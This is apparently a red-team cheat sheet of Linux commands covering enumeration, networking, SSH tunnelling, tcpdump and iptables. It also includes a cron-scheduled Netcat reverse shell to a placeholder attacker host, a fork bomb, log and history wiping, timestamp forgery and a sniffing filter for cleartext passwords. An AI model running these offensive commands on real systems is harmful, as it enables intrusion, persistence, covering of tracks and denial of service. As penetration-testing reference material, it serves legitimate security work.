Red | Linux

|1    |2                |3     |4 |5     |6 |7|8|9|
---------------------------------------------------
|root:|$6$RqNi$...PbED0:|16520:|0:|99999:|7:|:|:| |
---------------------------------------------------

| FIRST 3 CHARS OF THE HASH LIST | HASH TYPE |
----------------------------------------------
| $1$                            | MD5       |
| $2a$                           | bcrypt    |
| $2y$                           | bcrypt    |
| $5$                            | SHA-256   |
| $6$                            | SHA-512   |
----------------------------------------------

|1    |2 |3 |4 |5    |6     |7         |
----------------------------------------
|root:|x:|0:|0:|Root:|/root:|/bin/bash:|
----------------------------------------

# Disk usage
df -h

# Kernel version & CPU information
uname -a

# Display OS information
cat /etc/issue

# Display OS version information
cat /etc/*release*

# Display kernel information
```bash
cat /proc/version

# Locate the executable files or location of each shell on the system
# Can search: tscsh, csh, ksh, bash, etc.
which <SHELL_NAME>

# Display connected drives
fdisk -l

# List all installed Redhat Packages
rpm -qa

# Install all Red Hat packages with a filename ending 
# in .rpm in the current directory
rpm -ivh *.rpm

# Remove Red Hat Package
rpm -e <PACKAGE_NAME>

# List all installed packages
dpkg --get-selections

# Install all packages with a filename ending
# in .deb in the current directory
dpkg -i *.deb

# Remove Package
dpkg -r <PACKAGE_NAME>

# Updates repositories and available 
# packages to prepare for OS/tool update
apt-get update

# Installs newer versions of packages if available
# Checks results of apt-get update
apt-get upgrade

# Intelligently updates system, updating dependencies
# and removing older obsolete packages as needed
apt-get dist-upgrade

# Displays current user/group information
id

# List logged on users and what they are doing
w

# Show currently logged in users
who -a

# Show past and current login and system boot information
last -a

# Process listing
```bash
ps -ef

# List mounted drives
mount
# or
findmnt

# Force kill processes with specific PID
kill -9 <PID>

# Kill all processes matching a specific name
killall <PROCESS_NAME>

# Show all processes sorting by most active
top

# List configured persistent mounts
cat /etc/fstab

# Display user and service accounts
getent passwd

# Add a user
useradd -m <USERNAME>

# Add user to group
usermod -g <GROUPNAME> <USERNAME>

# Change user password
passwd <USERNAME>

# Lock user account
usermod --expiredate 1 --lock --shell /bin/nologin <USERNAME>

# Unlock user account
usermod --expiredate 99999 --unlock --shell /bin/bash <USERNAME>

# Enumerate user account details
chage -l <USERNAME>

# Delete user
userdel <USERNAME>

# List all listening, established, 
# and connected TCP sockets every 3 seconds
watch --interval 3 ss -t --all

# List all listening TCP and UDP 
# sockets with associated PID/program name
netstat -tulpn

# List all network activity associated to a specific user
lsof -i -u <USERNAME> -a

# Set IP and NETMASK
ifconfig <INTERFACE_NAME> <NEW_IP> netmask <NEW_SUBNET_MASK>
# or
ip addr add <NEW_IP> dev <INTERFACE_NAME>

# Add second IP to existing interface
ifconfig <INTERFACE_NAME>:<NEW_INTERFACE_NAME> <NEW_IP>
# or
ip addr add <NEW_IP>/<CIDR> dev <INTERFACE_NAME>

# Set gateway
route add default gw <IP_ADDRESS> <INTERFACE_NAME>
# or
ip route add <IP_ADDRESS>/<CIDR> via <GATEWAY_IP> dev <INTERFACE_NAME>

# Change MTU size
ifconfig <INTERFACE_NAME> mtu <SIZE>
# or
ip link set dev <INTERFACE_NAME> mtu <SIZE>

# Change MAC address
ifconfig <INTERFACE_NAME> hw ether <MAC_ADDRESS>
# or
ip link set dev <INTERFACE_NAME> down
ip link set dev <INTERFACE_NAME> address <MAC_ADDRESS>
ip link set dev <INTERFACE_NAME> up

# Built-in Wi-Fi Scanner
iwlist <INTERFACE_NAME> scan

# List DHCP assignments
cat /var/log/messages | grep DHCP

# Kills TCP connections running over specific port number
tcpkill host <IP_ADDRESS> and port <PORT>

# Enable on IP Forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward

# Add DNS server
echo "nameserver <IP_ADDRESS>" >> /etc/resolv.conf

# Reverse domain lookup
dig -x <IP_ADDRESS>

# Domain lookup
host <IP_ADDRESS_OR_HOSTNAME>

# DNS zone transfer
dig axfr <DOMAIN_NAME_TO_TRANSFER> @<DNS_IP>

# DNS zone transfer
host -t axfr -l <DOMAIN_NAME_TO_TRANSFER> <DNS_IP>

# Compare files
diff <FILE_PATH_A> <FILE_PATH_B>

# Force recursive deletion of directory
rm -rf <FILE_PATH>

# Secure file deletion
shred -f -u <FILE_PATH>

# Modify timestamp to match another file
touch -r <ORIGINAL_FILE_PATH> <MOD_FILE_PATH>

# Modify file timestamp
touch -t <YYYYMMDDHHMM> <FILE>

# Count lines containing specific string
grep -c "<STRING>" <FILE_PATH>

# Convert Linux formatted file to Windows compatible text file
awk 'sub("$", "\r")' <SOURCE_FILE_PATH> > <OUTPUT_FILE_PATH>

# Convert Windows formatted file to Linux compatible text file
dos2unix <FILE_PATH>

# Search current and all subdirectories 
# for all files that end with a specific extension
find . -type f -name "*.<FILE_EXTENSION>"

# Search all files (binary and regular files) in current
# and all subdirectories for a case insensitive phrase
grep -Ria "<SEARCH_PHRASE>"

# Return the line count of a target file
wc -l <FILE_PATH>

# Search for setuid files
find / -perm -4000 -exec ls -ld {} \;

# Determine file type
file <FILE_PATH>

# Set/Unset immutable file
chattr +i <FILE_PATH>
chattr -i <FILE_PATH>

# Generate random file
# example 3M file
dd if=/dev/urandom of=<OUTPUT_FILE_PATH> bs=3145728 count=100

# Pack/unpack (archive) files using tar
# Compress
tar -cf <OUTPUT_FILE>.tar <INPUT_PATH>
# Extract
tar -xf <FILE_PATH>.tar

# Compress and extract a .gz file using tar
# Compress
tar -czf <OUTPUT_FILE>.tar.gz <INPUT_PATH>
# Extract
tar -xzf <FILE_PATH>.tar.gz

# Compress and extract a .bz2 file using tar
# Compress
tar -cjf <OUTPUT_FILE>.tar.bz2 <INPUT_PATH>
# Extract
tar -xjf <FILE_PATH>.tar.bz2

# Compress and extract using gzip
# Compress
gzip <INPUT_PATH>
# Extract
gzip -d <FILE_PATH>.gz

# Compress and extract using zip
# Compress
zip -r <OUTPUT_FILE>.zip <INPUT_PATH>
# Extract
unzip <FILE_PATH>

# Pack an executable using UPX
upx -9 -o <OUTPUT_FILE> <INPUT_PATH>

# Split file into 3k chunks using dd
dd if=<INPUT_PATH> bs=4M | gzip -c | split -b 3K - "<OUTPUT_FILE>.chunk"

# Restore chunked file using dd
cat <FILE_PATH>.chunk* | gzip -dc | dd of=<OUTPUT_PATH> bs=4M

# Generate MD5 hash of a file
md5sum <FILE_PATH>

# Generate MD5 hash of a string
echo "<STRING>" | md5sum

# Generate SHA1 hash of a file
sha1sum <FILE_PATH>

# Add full path to rc.local file
# This full path will be executed on system startup
nano /etc/rc.local
# or
echo "<FILE_PATH>" >> /etc/rc.local

# Create/Open new service file using nano
nano /etc/systemd/system/<SERVICE_NAME>.service

# Add service information to file
# <FILE_PATH> is full path to .sh file to execute on startup
[Unit]
after=network.targetDescription=My Service description
 
 
[Service]
Type=simple
Restart=always
ExecStart=<FILE_PATH>
 
[Install]
WantedBy=multi-user.target

# Reload service manager
systemctl daemon-reload

# Enable the service
systemctl enable <SERVICE_NAME>.service

# Start the service persistence
systemctl start <SERVICE_NAME>.service

# Create cron that runs a Netcat reverse shell every day at midnight
# Open new crontab:
crontab -e

# Add the following line at the end:
0 0 * * * nc <ATTACKER_IP> <ATTACKER_PORT> -e /bin/sh

# Create cron that runs a payload every day at midnight
# Open new crontab:
crontab -e
 
# Add the following line at the end:
crontab -e 0 0 * * * <FULLPATH>

# Ping sweep
# Replace first three octets of IP to set class C address to scan
for x in {1..254..1};do ping -c 1 1.1.1.$x |grep "64 b" |cut -d" " -f4 >> ips.txt; done

# Reverse DNS Lookup
# Create new bash script with the following contents)

#!/bin/bash
echo "Enter Class C Range: i.e. 192.168.3"
 
read range
for ip in {1..254..1};do
host $range.$ip |grep "name pointer" |cut -d" " -f5
done

# Fork bomb
# Creates processes until system 'crashes'
:(){ :|: & };:

# DNS reverse lookup
# Replace first three octets of IP to set class C address to scan
for ip in {1..254..1}; do dig -x 1.1.1.$ip | grep $ip >> dns.txt; done;

# IP banning script

#!/bin/sh
 
# This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2
# It assumes 1 is the router and does not ban IPs .20, .21, .22
 
i=2
while [[ $i –le 253 ]]
do
if [[ $i –ne 20 && $i –ne 21 && $i –ne 22 ]]; then
echo "BANNED: arp -s 192.168.1.$i"
arp -s 192.168.1.$i 00:00:00:00:00:0a
else
echo "IP NOT BANNED:192.168.1.$i*****"
echo "*******************************"
fi
i=`expr $i +1`
done

# Compare 2 files for similar lines
for line in $(cat <FILE_PATH>); do grep -i $line <FILE_PATH>; done;

# List out audio devices
arecord -L

# Record microphone for 5 seconds to a file
# One of the devices listed above
arecord -d 5 -D plughw <FILE_PATH>

# Compile C program

gcc <FILE_PATH>.c -o <OUTPUT_PATH>

# Reboot/Shutdown
init 6
init 0

# Display log files
cat /etc/*syslog*.conf | grep -v “^#”

# Strip URL links out of a file
cat <FILE_PATH> | grep -Eo "(http|https)://[a-zA-Z0-9./?=_%:-]*" | sort -u

# Scrape URL and write to a file
wget http://<URL> -O <FILE_PATH> -o /dev/null

# Start a remote desktop session with target IP
rdesktop <IP_ADDRESS>

# Log all shell activity
# Session is written to file after session exit
script -a <FILE_PATH>

# Display user command history and 
# then execute specific line in history
history
!<LINE_NUMBER>

# Background command and print all output 
# from command to a file named .nohup
nohup <COMMAND> &

# Mount SMB share to /mnt/share folder
mount.cifs //<IP_ADDRESS>/<SHARE_NAME> /mnt/share -o user=<USERNAME>,pass=<PASSWORD>,domain=<DOMAIN>,rw

# Add another variable to the PATH
export PATH="<PATH_TO_ADD>:$PATH"

# Connect to Windows SMB Share
smbclient -U <USERNAME> //<IP_ADDRESS>/<SHARE_NAME>

# List out potential devices to mount
# Make note of the device path
sudo fdisk -l

# Create directory to mount to
mkdir /media/myUSBDevice

# Mount device to created directory
mount <DEVICE_PATH> /media/myUSBDevice/

# Run mount to show all mounted devices
# See if USB device was mounted successfully
mount | grep <DEVICE_PATH>

# Unmount USB device
umount -f /media/myUSBDevice

# Clear auth.log
echo > /var/log/auth.log

# Clear current user Bash history
echo > ~/.bash_history

# Delete .bash history file
rm ~/.bash_history -rf

# Clear current session history
history -c

# Set history max lines to 0
export HISTFILESIZE=0

# Set history max commands to 0
export HISTSIZE=0

# Disable history logging
# Meed to logout to take effect
unset HISTFILE

# Kills current session
kill -9 $$

# Permanently send all Bash history commands to /dev/null
ln -sf /dev/null ~/.bash_history

# File contains system-wide known hosts
/etc/ssh/ssh_known_hosts

# File contains previous hosts user has logged into
~/.ssh/known_hosts

# Generate SSH DSA keys
ssh-keygen -t dsa -f <OUTPUT_PATH>

# Generate SSH RSA keys
ssh-keygen -t rsa -f <OUTPUT_PATH>

# Upload a file using SSH
scp <SOURCE_PATH> <USERNAME>@<IP_ADDRESS>:/<OUTPUT_PATH>

# Download a file using SSH
scp <USERNAME>@<IP_ADDRESS>:/<INPUT_PATH> <OUTPUT_PATH>

# Connect to target via SSH over a non-standard port
ssh <USERNAME>@<IP_ADDRESS> -p <PORT>

# Run on local machine
# Create SSH keys
# After creation command should display where keys were saved with filename
ssh-keygen

# Run on remote machine
# Authorized_keys may already exist, if it doesn’t, run this command
mkdir ~/.ssh
touch ~/.ssh/authorized_keys

# Copy the contents of id_rsa.pub to 
# target remote machine's file: ~/.ssh/authorized_keys

# Run on remote machine
# Set permissions on newly created folders and files
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys

# Run on local machine
# Run SSH to connect to target
# <FILE_PATH> is path to private key created above -- not the .pub file
ssh -l <FILE_PATH> <USERNAME>@<IP_ADDRESS>

# Enable Port Forwarding

# Edit /etc/ssh/sshd_config and set
AllowTcpForwarding Yes
GatewayPorts Yes

# Setup a tunnel from an already established SSH session

# Press three keys at once:
# SHIFT~C

# Should drop into a prompt “ssh>”
# Then type the tunnel command such as
ssh> -R 0.0.0.0:443:127.0.0.1:443

# Connect to remote IP address, listen on ALL IP addresses on port 8080,
# traverse SSH tunnel, and forward traffic to the local loopback IP on 443
ssh –R 0.0.0.0:8080:127.0.0.1:443 root@<REMOTE_IP>

# Listen on all IP interfaces on port 8080 and forward that traffic THROUGH 
# the SSH tunnel connected to <REMOTE_IP>, 
# and finally forward the traffic to 192.168.1.1 on port 3300
ssh -L 0.0.0.0:8080:192.168.1.1:3300 root@<REMOTE_IP>

# NMAP through SSH tunnel using Proxychains

# Run against remote computer
# Setup socks proxy on port 1080 on remote host
ssh -D 1080 <USERNAME>@<REMOTE_IP>
 
# Run on local computer
# Add the following line to the file /etc/proxychains.conf
socks 4 <IP_ADDRESS> <PORT>
 
# Run on local computer
# Execute Nmap against 192.168.1.1/24 tunneling traffic through socks proxy
proxychains nmap -sT -Pn -n -p80,443 192.168.1.1/24

# Capture packets (headers and data) on eth0
# in ASCII and hex and write to file
tcpdump -i eth0 -XX -w <OUTPUT_PATH>.pcap

# Capture all port 80 (HTTP) traffic with destination set to 2.2.2.2
tcpdump tcp port 80 and dst 2.2.2.2

# Show traffic from interface eth0 destined for 192.168.1.22
# that isn’t port 22 (SSH) traffic
# Print traffic with date/time stamps
tcpdump -i eth0 -tttt dst 192.168.1.22 and not dst port 22

# Show traffic from interface eth0 that is an ICMP (Ping) reply
tcpdump -i eth0 "icmp[0] == 8"

# Show the first 50 packets from interface eth0 that are UDP and port 53 (DNS)
# Print with date/time stamps
tcpdump -i eth0 -c 50 -tttt udp port 53

# Show traffic from all interfaces that have port 443
# Don’t convert host IPs or port number names (-nn),
# use absolute TCP sequence numbers, and print packet data
tcpdump -nSX port 443

# Show traffic from all interfaces
tcpdump -i eth0

# Show traffic from all interfaces that has 
# host 1.1.1.1 set as a source or destination
tcpdump host 1.1.1.1

# Show traffic from all interfaces that 
# has host 1.1.1.1 set as a source
tcpdump src 1.1.1.1

# Show traffic from all interfaces that has 
# host 1.0.0.1 set as a destination
tcpdump dst 1.0.0.1

# Show traffic from all interfaces that falls
# into the class C 1.2.3.0/24
tcpdump net 1.2.3.0/24

# Show traffic from all interfaces that has a source port of 1025
tcpdump src port 1025

# Show traffic from all interfaces that has port 80
# set as a source or destination
# Save traffic to a file
tcpdump port 80 -w <OUTPUT_PATH>

# Filter on the listed ports looking for any data matching the egrep terms listed
tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd= |password=|pass:|user:|username:|password:|login:|pass |user '

# Replay a pcap with defaults
tcpreplay -i eth0 <INPUT_PATH>.pcap

# Replay pcap as fast as possible
tcpreplay --topspeed -i eth0 <INPUT_PATH>.pcap

# Replay pcap one at a time
tcpreplay --oneatatime --verbose -i eth0 <INPUT_PATH>.pcap

# Replay pcap file 10 times
tcpreplay --loop=10 -i eth0 <INPUT_PATH>.pcap

# Replay pcap file forever until killed
tcpreplay --loop=0 -i eth0 <INPUT_PATH>.pcap

# Start new screen with name
screen -S <NAME>

# List running screens
screen -ls

# Attach to screen name
screen -r <NAME>

# Send a command to a specific screen name
screen -S <NAME> -X <COMMAND>

# Dump iptables (with counters) rules to stdout
iptables-save -c > <OUTPUT_PATH>

# Restore iptables rules
iptables-restore < <INPUT_PATH>

# List all iptables rules (not including NAT rules)
# with affected count and line numbers
iptables -L -v --line-numbers

# List all NAT iptables rules with line numbers
iptables -L -t nat --line-numbers

# Flush all iptables rules
iptables -F

# Change default policy for rules that don’t match rules
iptables -P <INPUT/FORWARD/OUTPUT> <ACCEPT/REJECT/DROP>

# Allow established connections on INPUT
iptables -A INPUT -i <INTERFACE_NAME> -m state --state RELATED,ESTABLISHED -j ACCEPT

# Delete 7th inbound rule
# Print line numbers to see rule #’s
iptables -D INPUT 7

# Increase throughput by turning off statefulness
iptables -t raw -L -n

# Drop all INCOMING packets
iptables -P INPUT DROP

# Allow SSH on port 22 outbound*
iptables -A OUTPUT -o <INTERFACE_NAME> -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -i <INTERFACE_NAME> -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT

# Allow ICMP outbound
iptables -A OUTPUT -o <INTERFACE_NAME> -p icmp --icmp-type echo-request -j ACCEPT

# Port forward
# Listen for traffic destined to port 3389 and redirect that traffic to host 192.168.1.2 on port 3389
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -i <INTERFACE_NAME> -p tcp --dport 3389 -j DNAT --to 192.168.1.2:3389

# Allow only 1.1.1.0/24, ports 80,443 and log drops to /var/log/messages
iptables -A INPUT -s 1.1.1.0/24 -m state --state RELATED,ESTABLISHED,NEW -p tcp -m multiport --dports 80,443 -j ACCEPT
iptables -A INPUT -i eth0 –m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -P INPUT DROP
iptables -A OUTPUT -o eth0 -j ACCEPT 
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -N LOGGING
iptables -A INPUT -j LOGGING
iptables -A LOGGING -m limit --limit 4/min -j LOG --log-prefix "DROPPED"
iptables -A LOGGING -j DROP

# List existing services and run status
systemctl list-unit-files --type=service

# Check single service status
systemctl list-unit-files --type=service | grep httpd

# List all services

# [+] Service is running
# [-] Service is not running
service --status-all

# Start a service
service <SERVICE_NAME> start

# Stop a service
service <SERVICE_NAME> stop

# Check status of a service
service <SERVICE_NAME> status

# Disable service so it will not auto start
systemctl disable <SERVICE_NAME>

# Enable service so it will auto start on reboot
systemctl enable <SERVICE_NAME>

# List interfaces and routes
ifconfig -a
netstat -in

# Start DHCP client
ifconfig <INTERFACE_NAME> dhcp start

# Set IP
ifconfig <INTERFACE_NAME> <IP_ADDRESS> + <NETMASK>

# Set gateway
route add default <IP_ADDERSS>

# List users without passwords
logins -p

# List all services with status
svcs -a

# List processes
prstat -a

# Start SSH service
svcadm enable ssh

# Enable telnet ; -d = disable
inetadm -e telnet

# List physical memory and hard disk size
prtconf | grep Memory
iostat -n

# Restart system
shutdown -i6 g0 -y

# List clients connected to NFS
dfmounts

# Launch management GUI
smc

# Capture specific number of packets and write to file
snoop -d <INTERFACE_NAME> -c <NUMBER_OF_PACKETS> -o <OUTPUT_PATH>